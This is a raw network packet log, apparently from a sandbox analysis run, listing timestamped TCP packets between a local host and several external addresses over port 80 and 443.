Oct 30, 2024 11:45:42.803755045 CET	49957	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.803798914 CET	443	49957	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.803927898 CET	49957	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.830646038 CET	49967	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:42.830646038 CET	49966	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:42.830655098 CET	443	49967	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:42.830663919 CET	443	49966	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:42.875202894 CET	49967	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:42.875200987 CET	49966	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:42.907886982 CET	443	49963	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.908302069 CET	443	49963	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.908377886 CET	49963	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.912446976 CET	49963	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.912446976 CET	49963	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.912462950 CET	443	49963	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.912471056 CET	443	49963	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.915776968 CET	49977	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.915816069 CET	443	49977	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.915971041 CET	49977	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.916125059 CET	49977	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:42.916140079 CET	443	49977	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:42.967786074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.967847109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.967925072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.967931986 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.967941999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.967961073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.967972994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.967984915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.967998981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.967999935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968007088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968014956 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968019009 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968030930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968056917 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968058109 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968075991 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968080044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968091011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968097925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968107939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968118906 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968195915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968211889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968208075 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968208075 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968220949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968233109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968260050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968271971 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968286037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968308926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968373060 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968413115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968431950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968446016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968462944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968478918 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968502998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968518972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968534946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968573093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968579054 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968626976 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968627930 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968646049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968661070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968687057 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968708992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.968733072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968775034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.968924999 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.975965977 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.975990057 CET	443	49979	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:42.976229906 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.977164030 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:42.977178097 CET	443	49979	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.083082914 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083163977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083178997 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083209038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083225012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083240032 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083241940 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083257914 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083273888 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083288908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083297968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083297968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083303928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083317995 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083336115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083342075 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083383083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083391905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083408117 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083430052 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083446980 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083492994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083534002 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083547115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083561897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083579063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083617926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083710909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083725929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083743095 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083750963 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083760977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083779097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083789110 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083789110 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083803892 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083822966 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083852053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083885908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083904982 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083925962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083950043 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.083954096 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.083971024 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084069014 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084181070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084197044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084213018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084223032 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084230900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084244967 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084248066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084254980 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084275961 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084290981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084305048 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084347963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084362984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084395885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084414005 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084443092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084459066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084484100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084502935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084518909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084520102 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084532022 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084537029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084553003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084575891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.084582090 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084608078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.084649086 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.124790907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.124805927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.124821901 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.124838114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.124852896 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.124867916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.124902010 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.160893917 CET	443	49971	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.167488098 CET	49971	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.167509079 CET	443	49971	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.168569088 CET	443	49971	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.168642044 CET	49971	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.169405937 CET	49971	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.169476986 CET	443	49971	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.169718981 CET	49971	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.169773102 CET	49971	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.169790030 CET	443	49971	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.198643923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198705912 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198709965 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.198724031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198771954 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.198788881 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198805094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198821068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198837996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198863983 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198865891 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.198887110 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.198909044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.198913097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198930025 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198945999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198968887 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.198970079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198987007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.198997974 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199021101 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199187994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199235916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199256897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199273109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199289083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199304104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199318886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199331999 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199357986 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199373007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199388981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199404001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199419975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199425936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199439049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199455976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199537992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199882984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199898005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199913979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199930906 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199933052 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199944973 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199950933 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199960947 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199970007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199979067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.199989080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.199992895 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200006962 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200010061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200023890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200027943 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200041056 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200045109 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200057983 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200073957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200081110 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200090885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200093031 CET	443	49970	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.200108051 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200113058 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200126886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200130939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200158119 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200171947 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200309038 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.200318098 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200333118 CET	443	49970	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.200334072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200350046 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200365067 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200381994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200383902 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200397968 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200404882 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200416088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200419903 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200433016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200443029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200449944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200457096 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200467110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200474977 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200489998 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200506926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200690031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200712919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200730085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200746059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200767040 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.200771093 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200793982 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.200818062 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.201848030 CET	443	49970	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.201906919 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.202272892 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.202445984 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.202455997 CET	443	49970	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.202503920 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.202533960 CET	443	49970	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.218301058 CET	49971	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.240664005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.240679979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.240695953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.240726948 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.240778923 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.241818905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.241866112 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.249562979 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.249591112 CET	443	49970	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.266252041 CET	443	49972	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:43.266520977 CET	49972	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:43.266563892 CET	443	49972	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:43.266904116 CET	443	49972	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:43.267290115 CET	49972	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:43.267364025 CET	443	49972	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:43.267463923 CET	49972	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:43.291604042 CET	49981	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.291635036 CET	443	49981	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.291896105 CET	49981	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.292130947 CET	49981	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.292141914 CET	443	49981	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.293751001 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.313843012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.313889980 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.313905001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.313920975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.313936949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.313954115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.313983917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314018011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314030886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314035892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314063072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314076900 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314079046 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314095974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314137936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314282894 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314299107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314313889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314328909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314337015 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314366102 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314383984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314398050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314423084 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314441919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314446926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314460039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314481974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314502954 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314528942 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314570904 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314587116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314604998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314629078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314646006 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314716101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314733028 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314748049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314788103 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314886093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314902067 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314918995 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314933062 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314939022 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314949036 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.314950943 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314964056 CET	49888	80	192.168.2.6	185.215.113.206
